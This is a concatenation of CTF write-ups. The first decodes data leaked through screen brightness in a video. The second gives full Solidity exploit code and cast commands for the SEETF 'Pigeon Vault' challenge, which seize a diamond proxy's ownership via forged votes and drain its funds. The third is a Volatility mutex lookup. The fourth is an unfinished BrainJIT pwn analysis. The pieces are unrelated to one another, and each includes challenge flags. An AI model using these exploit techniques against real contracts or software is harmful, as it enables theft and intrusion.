# Security Camera — Solution We are given an hour-long[video](https://drive.google.com/file/d/1-IJrGdyG2trFLLIrIKZfSTd7eo9IMwlV/view)of an office workstation in which seemingly nothing interesting happens. Looking at the video more carefully, you will notice that the brightness levelof the laptop screen seems to be changing from time to time. Could it be that somesecret data is getting exfiltrated through the screen brightness? Turns out that is exactly what happens, and this challenge is all about carefulimplementation. The high-level approach we will take is as follows: * Write a program that lets the user select a pixel on the video. * Keep track of the brightness of that pixel for each frame. * Hope that changes in the brightness level leak data. Just by looking at the brightness level of some pixel, you'll see that italternates around two values — these represent binary zeroes and ones. Tofigure out the throughput of leaked bits, we will try to approximate theshortest amount of time one of those values is achieved. It turns out thisvalue is roughly $30$ frames, and since the video is shot at $30$ FPS, thiswould indicate that one bit gets leaked every second. Armed with this knowledge, we can easily devise the following strategy: * We will keep track of the brightness level of a particular bit across all frames. * At each frame, we will attempt to classify the brightness level into a $0$ bit or a $1$ bit. * The length of each consecutive interval of same-valued bits should roughly be a multiple of the frame rate, and we should be able to deduce the actual number of same-valued bits being leaked. This simple strategy is good enough to determine the leaked bits. Some details thatmight help increase precision are: * Ignore obvious outliers in brightness values. * When unsure how to classify a bit (e.g. it is somewhere between values for zero and one), classify it as the last bit you were confident about. * Do the same thing for multiple bits, consider the majority value as correct classification. Here is one ugly and barely-readable such implementation: ```pythonimport cv2import numpy as npimport matplotlib.pyplot as plt from Crypto.Util.number import long_to_bytes zero_b = 0one_b = 0 zs = []os = [] def bit(b_level): global zero_b, one_b, zs, os if one_b == 0: if b_level >= zero_b + 3: one_b = b_level return 1 else: return 0 if (b_level - zero_b) / (one_b - zero_b) <= 0.35: zs.append(b_level) zero_b = min(zero_b, b_level) return 0 if (b_level - zero_b) / (one_b - zero_b) >= 0.65: os.append(b_level) one_b = max(one_b, b_level) return 1 return None cap = cv2.VideoCapture('video.mp4') clicked = Falsedef get_pixel(event, x, y, flags, param): global clicked, pixel_x, pixel_y if event == cv2.EVENT_LBUTTONDOWN: pixel_x, pixel_y = x, y clicked = True cv2.namedWindow('frame')cv2.setMouseCallback('frame', get_pixel) while not clicked: ret, frame = cap.read() if not ret: break cv2.imshow('frame', frame) if cv2.waitKey(1) == ord('q'): break frame_count = 0 start = Falsedata = ""b_data = b"" bs = []curr = 0cnt = 0 while cap.isOpened(): ret, frame = cap.read() if not ret: break frame_count += 1 if len(data) >= 8: b_data += long_to_bytes(int(data[:8], 2)) data = data[8:] print(b_data) if zero_b != 0 and one_b != 0: brightness = frame[pixel_y, pixel_x].mean() b = bit(brightness) if b == curr or b == None: cnt += 1 else: for _ in range(round(cnt / 31.5)): data += str(curr) cnt = 1 if b != None: curr = b continue brightness = frame[pixel_y, pixel_x].mean() bs.append(brightness) if frame_count % ((cap.get(cv2.CAP_PROP_FPS) + 1) // 1) == 0: bs.sort() brightness = bs[len(bs) // 2] bs = [] if zero_b == 0: zero_b = brightness b = bit(brightness) if not start and b == 1: data = "0" start = True if start: data += str(b) while len(data) >= 8: b_data += long_to_bytes(int(data[:8], 2)) data = data[8:] print(b_data) cap.release()cv2.destroyAllWindows()``` Tracking pixel $(1133, 499)$ leaks the following data: ```b'Exfiltrating contents of current directory...\n\nDumping ./workspace/flag1.txt...\n\nTBTL{5an1t7y_ch3ck_pa55ed!_D0_y0u_h4v3_wh47_1t_74k35_f0r_p4r7_2?}\n\nDumping ./workspace/flag2.zip...\n\nPK\x03\x04\n\x00\t\x00\x00\x00\xbcb\xa3V9gW\xa7*\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x1c\x00flag.txt\xd5T\t\x00\x03\xc35Rd\xaf5Rdux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00\xe0\xf7\x02\xf6\xbbX\xadI.2\x0b\xb2y;G\xa9\xf4+\xe2\xde\x87^\xb9\xbd\xabU\xfb\xa2i\xcf\x1d\xbccv\x88\x04\x14\xe7z\x8a!\x8dPK\x07\x089gW\xa7*\x00\x00\x00\x1e\x00\x00\x00PK\x01\x02\x1e\x03\n\x00\t\x00\x00\x00\xbcb\xa3V9gW\xa7*\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x00\x00\x00\x00flag.txtUP\x05\x00\x03\xc35Rdux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00N\x00\x00\x00|\x00\x00\x00\x00\x00'``` The first flag is immediately visible:`TBTL{5an1t7y_ch3ck_pa55ed!_D0_y0u_h4v3_wh47_1t_74k35_f0r_p4r7_2?}`, and letsteams score points with less precise algorithms. The second flag seems to be a `.zip` archive, but we need a password to extractit. The password is written on a post-it note in the video — `TBTLPWD123`. The extracted file `flag.txt` contains the second flag:`TBTL{1_don7_m1nd_7h3_41r_g4p}`. **Fun fact:** The challenge author got excited about turning this into alegitimate method for data exfiltration from air-gapped machines, but it turnsout this [has already been done](https://arxiv.org/pdf/2002.01078.pdf).
# SEETF 2023 - Pigeon Vault [3 solves / 497 points] ### Description```rainbowpigeon has just received a massive payout from his secret business, and he now wants to create a secure vault to store his cryptocurrency assets. To achieve this, he developed PigeonVault, and being a smart guy, he made provisions for upgrading the contract in case he detects any vulnerability in the system. Find out a way to steal his funds before he discovers any flaws in his implementation. Blockchain has a block time of 10: https://book.getfoundry.sh/reference/anvil/ nc win.the.seetf.sg 8552``` I solved this challenge with the intended solution, but it has a much easier unintended solution because of a mistake in the setup contract, I discover the unintended solution after the CTF end when people told me in discord Our goal is to become the owner of the diamond proxy, and drain ether from the diamond proxy```solidity function isSolved() external view returns (bool) { return (IOwnershipFacet(address(pigeonDiamond)).owner() == msg.sender && msg.sender.balance >= 3000 ether); }``` This contract is using the diamond proxy pattern https://eips.ethereum.org/EIPS/eip-2535 And in the setup contract, we are allowed to claim 10000 ether of token for once However, it did not set claimed to true, which cause the unintended solution of keep calling claim() But I will just do this challenge in the intended way ``` function claim() external { require(!claimed, "You already claimed"); bool success = IERC20(address(pigeonDiamond)).transfer(msg.sender, 10_000 ether); require(success, "Failed to send"); }``` In PigeonVaultFacet, it has an emergencyWithdraw() function, which allows the owner to drain the contract ```solidity function emergencyWithdraw() public { LibDiamond.enforceIsContractOwner(); address owner = LibDiamond.contractOwner(); (bool success,) = payable(address(owner)).call{value: address(this).balance}(""); require(success, "PigeonVaultFacet: emergency withdraw failed"); }``` So our goal is just to become the owner, and when we are the owner, we can just drain it with this The FeatherCoinFacet is for the FTC token, and it has delegate logic At first, I tried the double spending bug, by delegate a contract and transfer my tokens to another address and delegate again, but that does not work, because it will remove the delegate when transfer/transferFrom is called ```solidity function transfer(address _to, uint256 _amount) external returns (bool) { s.balances[msg.sender] -= _amount; unchecked { s.balances[_to] += _amount; } _moveDelegates(s.delegates[msg.sender], s.delegates[_to], _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) external returns (bool) { uint256 allowed = s.allowances[_from][msg.sender]; if (allowed != type(uint256).max) { s.allowances[_from][msg.sender] = allowed - _amount; } s.balances[_from] -= _amount; unchecked { s.balances[_to] += _amount; } _moveDelegates(s.delegates[_from], s.delegates[_to], _amount); return true; }``` In DAOFacet, we can submit and execute a proposal to add a facet, if we can add a malicious facet with it, we can become the owner when the diamond delegate call to our malicious facet ```solidity function submitProposal(address _target, bytes memory _callData, IDiamondCut.FacetCut memory _facetDetails) external returns (uint256 proposalId) { require( msg.sender == LibDiamond.contractOwner() || isUserGovernance(msg.sender), "DAOFacet: Must be contract owner" ); proposalId = LibDAO.submitProposal(_target, _callData, _facetDetails); } function executeProposal(uint256 _proposalId) external { Proposal storage proposal = s.proposals[_proposalId]; require(!proposal.executed, "DAOFacet: Already executed."); require(block.number >= proposal.endBlock, "DAOFacet: Too early."); require( proposal.forVotes > proposal.againstVotes && proposal.forVotes > (s.totalSupply / 10), "DAOFacet: Proposal failed." ); proposal.executed = true; IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1); cut[0] = IDiamondCut.FacetCut({ facetAddress: proposal.target, action: proposal.facetDetails.action, functionSelectors: proposal.facetDetails.functionSelectors }); LibDiamond.diamondCut(cut, proposal.target, proposal.callData); }``` But in order to submit a proposal, we have to either be the owner or isUserGovernance() of us need to be true```solidity require( msg.sender == LibDiamond.contractOwner() || isUserGovernance(msg.sender), "DAOFacet: Must be contract owner" );``` But the isUserGovernance() function has bug``` function isUserGovernance(address _user) internal view returns (bool) { uint256 totalSupply = s.totalSupply; uint256 userBalance = LibDAO.getCurrentVotes(_user); uint256 threshold = (userBalance * 100) / totalSupply; return userBalance >= threshold; }``` As long as totalSupply >= 100, it will be true, and the totalSupply is 1000000 ether, so it is always true So even the double spending bug doesn't work, it doesn't matter, we can submit proposal to add our malicious facet anyway But after we submit the proposal, we still need to vote for it in order to execute it ```solidity function executeProposal(uint256 _proposalId) external { Proposal storage proposal = s.proposals[_proposalId]; require(!proposal.executed, "DAOFacet: Already executed."); require(block.number >= proposal.endBlock, "DAOFacet: Too early."); require( proposal.forVotes > proposal.againstVotes && proposal.forVotes > (s.totalSupply / 10), "DAOFacet: Proposal failed." ); proposal.executed = true; IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1); cut[0] = IDiamondCut.FacetCut({ facetAddress: proposal.target, action: proposal.facetDetails.action, functionSelectors: proposal.facetDetails.functionSelectors }); LibDiamond.diamondCut(cut, proposal.target, proposal.callData); }``` forVotes need to be larger than againstVotes and forVotes need to be larger than totalSupply/10 Total supply is 1000000 ether, so forVotes need to be > 100000 Also, it can be executed only if it reaches the proposal.endBlock, which is 6 blocks after the submission We can use castVoteBySig() to vote ```solidity function castVoteBySig(uint256 _proposalId, bool _support, bytes memory _sig) external { address signer = ECDSA.recover(keccak256("\x19Ethereum Signed Message:\n32"), _sig); require(signer != address(0), "DAOFacet: Invalid signature."); _vote(_sig, _proposalId, _support); } function _vote(bytes memory _sig, uint256 _proposalId, bool _support) internal { Proposal storage proposal = s.proposals[_proposalId]; require(LibDAO.getPriorVotes(msg.sender, proposal.startBlock) >= s.voteThreshold, "DAOFacet: Not enough."); require(block.number <= s.proposals[_proposalId].endBlock, "DAOFacet: Too late."); bool hasVoted = proposal.receipts[_sig]; require(!hasVoted, "DAOFacet: Already voted."); uint256 votes = LibDAO.getPriorVotes(msg.sender, proposal.startBlock); if (_support) { proposal.forVotes += votes; } else { proposal.againstVotes += votes; } proposal.receipts[_sig] = true; }``` It's taking a signature, but it just check that the result of ecrecover of it is not address(0), and it is not used in `_vote()`, so the signature doesn't matter as long as ecrecover does not return address(0) It will check if the signature is used for vote before, but we can just sign a valid signature, then even the message hash and `s` of the signature is changed, ecrecover will just return a somewhat random address, but not address(0), and the signature will be different every time, so we can vote as many times as we want We can just use vm.sign() in foundry to sign with random private key```solidity (uint8 sig_v, bytes32 sig_r, bytes32 sig_s) = vm.sign(1337, keccak256(abi.encodePacked("kaiziron"))); console.log("v, r, s :"); console.log(sig_v); console.logBytes32(sig_r); console.logBytes32(sig_s);``````v, r, s :270x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc00x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28``` Even I changed the message hash and s of the signature, it will still return an address that is not address(0)```➜ ecrecover(keccak256("\x19Ethereum Signed Message:\n32"), 27, 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0, 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28)Type: address└ Data: 0x94850bf894ac067d9943566f3b65f734d4cb0392 ➜ ecrecover(keccak256("\x19Ethereum Signed Message:\n32"), 27, 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0, 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b27)Type: address└ Data: 0x91fe6db27acbedd14b7262d2b891fb74522551f2``` But if we change r of the signature, it will return address(0), so just change s```➜ ecrecover(keccak256("\x19Ethereum Signed Message:\n32"), 27, 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc1, 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28)Type: address└ Data: 0x0000000000000000000000000000000000000000``` It will call getPriorVotes() to determine how many votes we can add We have 10000 ether of FTC token, so just call delegate() to delegate ourselves```solidity function delegate(address _delegatee) public { return _delegate(msg.sender, _delegatee); }``` Then wait for one block after delegate(), then getPriorVotes() will return 10000 ether of votes It will check to see it is larger or equal to the threshold, which is set in InitDiamond``` s.voteThreshold = 10_000 ether;``` We excatly have enough votes to vote, and it will check that it's before endBlock of the proposal, so we have to vote before 6 blocks after the submission of the proposal We have 10000 ether of votes, and we just need 100000 votes, so just vote for many times with different signature that ecrecover won't return address(0) After our malicious proposal has enough votes, just wait until 6 blocks after the submission, then we can execute it, and our malicious facet can be added to the diamond So I will test it with foundry test first, and I found an issue in executeProposal() I submit the proposal with this :```solidityuint256 proposalId = DAOFacet(pigeonDiamond).submitProposal(address(0), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors));``` It gives error that the facet address is address(0), but I just put address(0) as the target address that is used to initialize the facet, and if it's address(0) it won't initialize The issue is in executeProposal()```solidity cut[0] = IDiamondCut.FacetCut({ facetAddress: proposal.target, action: proposal.facetDetails.action, functionSelectors: proposal.facetDetails.functionSelectors });``` It set the facetAddress to be proposal.target, but it should be proposal.facetDetails.facetAddress instead So the facet address is ignored and target address is set for both facetAddress and target So just set both to the exploit facet contract's address```solidityuint256 proposalId = DAOFacet(pigeonDiamond).submitProposal(address(exploit), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors));``` And add a receive() function in the exploit facet contract```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.17; import {LibDiamond} from "./libraries/LibDiamond.sol"; contract ExploitFacet { function becomeOwner() public { LibDiamond.setContractOwner(msg.sender); } receive() external payable {}}``` ### Foundry test ```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13; import "forge-std/Test.sol";import "../src/Setup.sol";import "../src/ExploitFacet.sol"; contract vaultTest is Test { Setup public setup_contract; address public pigeonDiamond; address public attacker; address public attacker2; ExploitFacet public exploit; function setUp() public { setup_contract = new Setup{value: 3000 ether}(); pigeonDiamond = address(setup_contract.pigeonDiamond()); attacker = makeAddr("attacker"); vm.deal(attacker, 10 ether); attacker2 = makeAddr("attacker2"); } function testExploit() public { vm.startPrank(attacker); console.log("setup address :", address(setup_contract)); console.log("attacker address :", attacker); console.log("pigeonDiamond balance :", pigeonDiamond.balance); console.log("attacker balance :", attacker.balance); console.log("diamond owner :", OwnershipFacet(pigeonDiamond).owner()); //claim 10000 FTC from setup console.log("Claiming FTC from setup..."); setup_contract.claim(); console.log("FTC balance of attacker :", FeatherCoinFacet(pigeonDiamond).balanceOf(attacker)); console.log("FTC balance of setup :", FeatherCoinFacet(pigeonDiamond).balanceOf(address(setup_contract))); console.log("FTC totalSupply :", FeatherCoinFacet(pigeonDiamond).totalSupply()); exploit = new ExploitFacet(); bytes4[] memory selectors = new bytes4[](1); selectors[0] = bytes4(ExploitFacet.becomeOwner.selector); uint256 proposalId = DAOFacet(pigeonDiamond).submitProposal(address(exploit), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors)); console.log("Proposal ID for exploit facet :", proposalId); FeatherCoinFacet(pigeonDiamond).delegate(attacker); vm.roll(block.number + 1); console.log("Attacker votes :", FeatherCoinFacet(pigeonDiamond).getCurrentVotes(attacker)); console.log("getPriorVotes(attacker, block.number - 1) :", FeatherCoinFacet(pigeonDiamond).getPriorVotes(attacker, block.number - 1)); (uint8 sig_v, bytes32 sig_r, bytes32 sig_s) = vm.sign(1337, keccak256(abi.encodePacked("kaiziron"))); console.log("v, r, s :"); console.log(sig_v); console.logBytes32(sig_r); console.logBytes32(sig_s); for (uint i; i < 100; ++i) { bytes memory sig = abi.encodePacked(sig_r, sig_s, sig_v); //console.logBytes(sig); DAOFacet(pigeonDiamond).castVoteBySig(proposalId, true, sig); sig_s = bytes32(uint256(sig_s)+1); } vm.roll(block.number + 6); DAOFacet(pigeonDiamond).executeProposal(proposalId); ExploitFacet(payable(pigeonDiamond)).becomeOwner(); PigeonVaultFacet(pigeonDiamond).emergencyWithdraw(); console.log("pigeonDiamond owner :", IOwnershipFacet(address(pigeonDiamond)).owner()); console.log("attacker ether balance :", attacker.balance); console.log("isSolved() :", setup_contract.isSolved()); }}``` ```# forge test --match-path test/vault.t.sol -vv[⠊] Compiling...[⠒] Compiling 1 files with 0.8.20[⠢] Solc 0.8.20 finished in 4.02sCompiler run successful! Running 1 test for test/vault.t.sol:vaultTest[PASS] testExploit() (gas: 3935678)Logs: setup address : 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f attacker address : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e pigeonDiamond balance : 3000000000000000000000 attacker balance : 10000000000000000000 diamond owner : 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f Claiming FTC from setup... FTC balance of attacker : 10000000000000000000000 FTC balance of setup : 990000000000000000000000 FTC totalSupply : 1000000000000000000000000 Proposal ID for exploit facet : 0 Attacker votes : 10000000000000000000000 getPriorVotes(attacker, block.number - 1) : 10000000000000000000000 v, r, s : 27 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28 pigeonDiamond owner : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e attacker ether balance : 3010000000000000000000 isSolved() : true Test result: ok. 1 passed; 0 failed; finished in 29.24ms``` It works, so just exploit it on the actual challenge network ### Exploit contract```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.17; import "../src/Setup.sol";import "../src/ExploitFacet.sol"; contract Exploit { Setup public setup_contract; address public pigeonDiamond; ExploitFacet public exploit; uint256 public proposalId; constructor(address _setup) { setup_contract = Setup(_setup); pigeonDiamond = address(setup_contract.pigeonDiamond()); } function exploit1() public { setup_contract.claim(); exploit = new ExploitFacet(); bytes4[] memory selectors = new bytes4[](1); selectors[0] = bytes4(ExploitFacet.becomeOwner.selector); proposalId = DAOFacet(pigeonDiamond).submitProposal(address(exploit), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors)); FeatherCoinFacet(pigeonDiamond).delegate(address(this)); // wait for 1 block, then call exploit2() } function exploit2() public { //(uint8 sig_v, bytes32 sig_r, bytes32 sig_s) = vm.sign(1337, keccak256(abi.encodePacked("kaiziron"))); //console.log("v, r, s :"); //console.log(sig_v); //console.logBytes32(sig_r); //console.logBytes32(sig_s); uint8 sig_v = uint8(27); bytes32 sig_r = bytes32(0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0); bytes32 sig_s = bytes32(0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28); for (uint i; i < 100; ++i) { bytes memory sig = abi.encodePacked(sig_r, sig_s, sig_v); DAOFacet(pigeonDiamond).castVoteBySig(proposalId, true, sig); sig_s = bytes32(uint256(sig_s)+1); } // wait for 6 blocks after submission, then do these in EOA: //DAOFacet(pigeonDiamond).executeProposal(proposalId); //ExploitFacet(payable(pigeonDiamond)).becomeOwner(); //PigeonVaultFacet(pigeonDiamond).emergencyWithdraw(); }}``` First just deploy the exploit contract```# forge create ./src/Exploit.sol:Exploit --constructor-args 0x3e0B37296BE0147dCAee55A1968908AD2080c303 --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2[⠃] Compiling...No files changed, compilation skippedDeployer: 0x799046Bb7CF9c2308Ed77B0B068F1Cc697219127Deployed to: 0x1786410938B5137639D090c6774faFB99CbBF892Transaction hash: 0xd50dac3175e73670a86e1b5757cc0810ceaef22112de9e6d0bfc4bc117c85c8d``` Then just call exploit1() :```cast send 0x1786410938B5137639D090c6774faFB99CbBF892 "exploit1()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2``` Then wait for 1 block and call exploit2() :```cast send 0x1786410938B5137639D090c6774faFB99CbBF892 "exploit2()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2``` Then wait for 6 blocks after the submission and execute the proposal and call becomeOwner() to become the owner of the diamond Finally just call emergencyWithdraw() as the owner to drain it get pigeonDiamond address :```# cast call 0x1786410938B5137639D090c6774faFB99CbBF892 "pigeonDiamond()(address)" --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c20xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9```and proposalId :```# cast call 0x1786410938B5137639D090c6774faFB99CbBF892 "proposalId()(uint256)" --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c20``` Execute proposal :```# cast send 0xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9 "executeProposal(uint256)" 0 --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2``` Become owner :```# cast send 0xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9 "becomeOwner()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2``` Emergency withdraw :```# cast send 0xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9 "emergencyWithdraw()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2``` Then call isSolved() in setup contract to confirm it is solved :```# cast call 0x3e0B37296BE0147dCAee55A1968908AD2080c303 "isSolved()(bool)" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2true``` ```# nc win.the.seetf.sg 85521 - launch new instance2 - kill instance3 - acquire flagaction? 3uuid please: ce9c5082-29fb-4a36-b0d0-65726fb741c2 Congratulations! You have solve it! Here's the flag: SEE{D14m0nd5_st0rAg3_4nd_P1g30nS_d0n't_g0_w311_t0G37h3r_B1lnG_bl1ng_bed2cbc16cbfca78f6e7d73ae2ac987f}```
# Attaaaaack12 ## Background Q12. What is the strange handle used by the malware ? example : crew{the name of the handle} Author : 0xSh3rl0ck ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230710142946.png) ## Find the flag **In the blog that we've found in Attaaaaack9, it has a section that finds the mutants:** ![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/CrewCTF-2023/images/Pasted%20image%2020230709130104.png) ```shell┌[siunam♥Mercury]-(~/ctf/CrewCTF-2023/Forensics/Attaaaaack)-[2023.07.09|13:01:21(HKT)]└> python2 /opt/volatility/vol.py --profile=Win7SP1x86_23418 -f memdump.raw handles -p 300 -t MutantVolatility Foundation Volatility Framework 2.6.1Offset(V) Pid Handle Access Type Details---------- ------ ---------- ---------- ---------------- -------0x843b0728 300 0x58 0x1f0001 Mutant 0x843b0b28 300 0x5c 0x1f0001 Mutant 0x842eb8b8 300 0x170 0x1f0001 Mutant DC_MUTEX-KHNEW06[...]``` - **Flag: `crew{DC_MUTEX-KHNEW06}`**
## BrainJIT was a pwn challenge from zer0pts CTF 2023, it was a challenge written by **ptr-yudai**, who wrote a serie of great challenges for this ctf. It is a X86_64 JIT Brainfuck Compiler written in python, a nice piece of code by itself.. #### 1- How does this work? first the JIT compiler allocates two memory zones , one for the code , and one for the data. ```pythonclass BrainJIT(object): MAX_SIZE = mmap.PAGESIZE * 8 def __init__(self, insns: str): self._insns = insns self._mem = self._alloc(self.MAX_SIZE) self._code = self._alloc(self.MAX_SIZE) def _alloc(self, size: int): return mmap.mmap( -1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC )``` we can see two important things here: * the `__init__` function allocate the two zones with the same protection mode RWX (that is important for the rest of exploitation). The `MAX_SIZE` value equals 0x8000 (8 * page size) * by debugging the program in the provided Docker, we can see that the two memory zones are consecutive in memory, the data zone starts where the code zone ends. The compiler will add a piece of code before entering the produced code, and at his end, to initialise the registers. ```python def compile(self): addr_mem = ctypes.addressof(ctypes.c_int.from_buffer(self._mem)) p8 = lambda v: struct.pack('<B', v) p32 = lambda v: struct.pack('<i', v) p64 = lambda v: struct.pack('<Q', v) # push r8 # push rbp # xor r8d, r8d # mov rbp, addr_mem emit_enter = b'\x41\x50\x55\x45\x31\xc0\x48\xbd' + p64(addr_mem) # pop rbp # pop r8 # ret emit_leave = b'\x5d\x41\x58\xc3'``` we can see that the `rbp` register will be used to access the data memory, and the `r8` will be used as the brainfuck main register (and as an offset between 0 to 0x8000 to access data memory) let's have a look to the main loop of `compile` function of the JIT Compiler, this is here that the code will be produced for each brainfuck instruction, it's a bit long, but not too much. (There were some errors in the comments that I have corrected): ```python self._emit(emit_enter) index = 0 jumps = [] while index < len(self._insns): insn = self._insns[index] length = 1 if insn in ['<', '>', '+', '-']: while index + length < len(self._insns) \ and self._insns[index + length] == insn: length += 1 emit = b'' if insn == '<': if length == 1: # dec r8 emit += b'\x49\xff\xc8' else: # sub r8, length emit += b'\x49\x81\xe8' + p32(length) # cmp r8, self.MAX_SIZE # jb rip+1 # int3 emit += b'\x49\x81\xf8' + p32(self.MAX_SIZE) + b'\x72\x01\xcc' elif insn == '>': if length == 1: # inc r8 emit += b'\x49\xff\xc0' else: # add r8, length emit += b'\x49\x81\xc0' + p32(length) # cmp r8, self.MAX_SIZE # jb rip+1 # int3 emit += b'\x49\x81\xf8' + p32(self.MAX_SIZE) + b'\x72\x01\xcc' elif insn == '+': if length == 1: # inc byte ptr [rbp+r8] emit += b'\x42\xfe\x44\x05\x00' else: # add byte ptr [rbp+r8], length emit += b'\x42\x80\x44\x05\x00' + p8(length % 0x100) elif insn == '-': if length == 1: # dec byte ptr [rbp+r8] emit += b'\x42\xfe\x4c\x05\x00' else: # sub byte ptr [rbp+r8], length emit += b'\x42\x80\x6c\x05\x00' + p8(length % 0x100) elif insn == ',': # mov edx, 1 # lea rsi, [rbp+r8] # xor edi, edi # xor eax, eax ; SYS_read # syscall emit += b'\xba\x01\x00\x00\x00\x4a\x8d\x74\x05\x00' emit += b'\x31\xff\x31\xc0\x0f\x05' elif insn == '.': # mov edx, 1 # lea rsi, [rbp+r8] # mov edi, edx # mov eax, edx ; SYS_write # syscall emit += b'\xba\x01\x00\x00\x00\x4a\x8d\x74\x05\x00' emit += b'\x89\xd7\x89\xd0\x0f\x05' elif insn == '[': # mov al, byte ptr [rbp+r8] # test al, al # jz ??? (address will be fixed later) emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x84' + p32(-1) jumps.append(self._code_len + len(emit)) elif insn == ']': if len(jumps) == 0: raise SyntaxError(f"Unmatching loop ']' at position {index}") # mov al, byte ptr [rbp+r8] # test al, al # jnz dest dest = jumps.pop() emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x85' + p32(dest - self._code_len - len(emit) - 6) self._code[dest-4:dest] = p32(self._code_len + len(emit) - dest) else: raise SyntaxError(f"Unexpected instruction '{insn}' at position {index}") self._emit(emit) index += length self._emit(emit_leave)``` The JIT compiler does some optimisations in the produced code, for example if you increase many times main register with **'>'** brainfuck instruction, it will record the number of repetition in the `length` variable, and will replace the increments, by an `add r8, length` the same type of optimisation is used for brainfuck instruction **'>', '<', '+', '-'** #### 2- The vulnerabilty Now let's have a look to the vulnerability I used for the exploitation, it's in the management of brainfuck loop instruction. the **'['** brainfuck instruction indicates the starting of a loop, and the **']'** instruction indicates the end of the loop. The JIT compiler use a `jumps` python array , working like a `fifo`. when a **'['** instruction is met, the code does: ```pythonelif insn == '[': # mov al, byte ptr [rbp+r8] # test al, al # jz ??? (address will be fixed later) emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x84' + p32(-1) jumps.append(self._code_len + len(emit))``` it initialises the jump to the end of the loop, with `-1` value, that will be fixed later with the **']'** brainfuck loop closing instruction is met. The address of the code to be fixed is appended to the `jumps` array so when the **']'** brainfuck loop closing instruction is met, the code does: ```pythonelif insn == ']': if len(jumps) == 0: raise SyntaxError(f"Unmatching loop ']' at position {index}") # mov al, byte ptr [rbp+r8] # test al, al # jnz dest dest = jumps.pop() emit += b'\x42\x8a\x44\x05\x00\x84\xc0' emit += b'\x0f\x85' + p32(dest - self._code_len - len(emit) - 6) self._code[dest-4:dest] = p32(self._code_len + len(emit) - dest) # jump fixing``` the address of the beginning of the loop is "pop" from `jumps` array, and the code fix the beginning of loop code temporary `-1` value, with the correct address of the end of loop. **But, what happens if we open a loop with '[' and never close it ?** well...actually the beginning of loop's jump temporary value `-1` is never fixed and stay like this, this will be a jump to 1 byte before the next instruction, so to a `0xff` opcode, which is not a full instruction in `x86_64` instruction encoding. So if we could add some bytes that would make the `0xff` opcode a full instruction, we could maybe alter the program control flow? after looking at the various bytes emitted by brainfuck instructions, I found that by using multiple **'<'** brainfuck instructions, the JIT compiler will emit: ```python# sub r8, lengthemit += b'\x49\x81\xe8' + p32(length)``` and if we check by disassembling the resulting opcodes: ```shellpwn disasm -c 'amd64' ff4981e80000000000 0: ff 49 81 dec DWORD PTR [rcx-0x7f] 3: e8 xx xx xx xx call (offset length)``` that's perfect for us, that means that the `length` variable will be the offset of the `call` instruction, and that we can jump to somewhere farther in our memory zone, to reach a 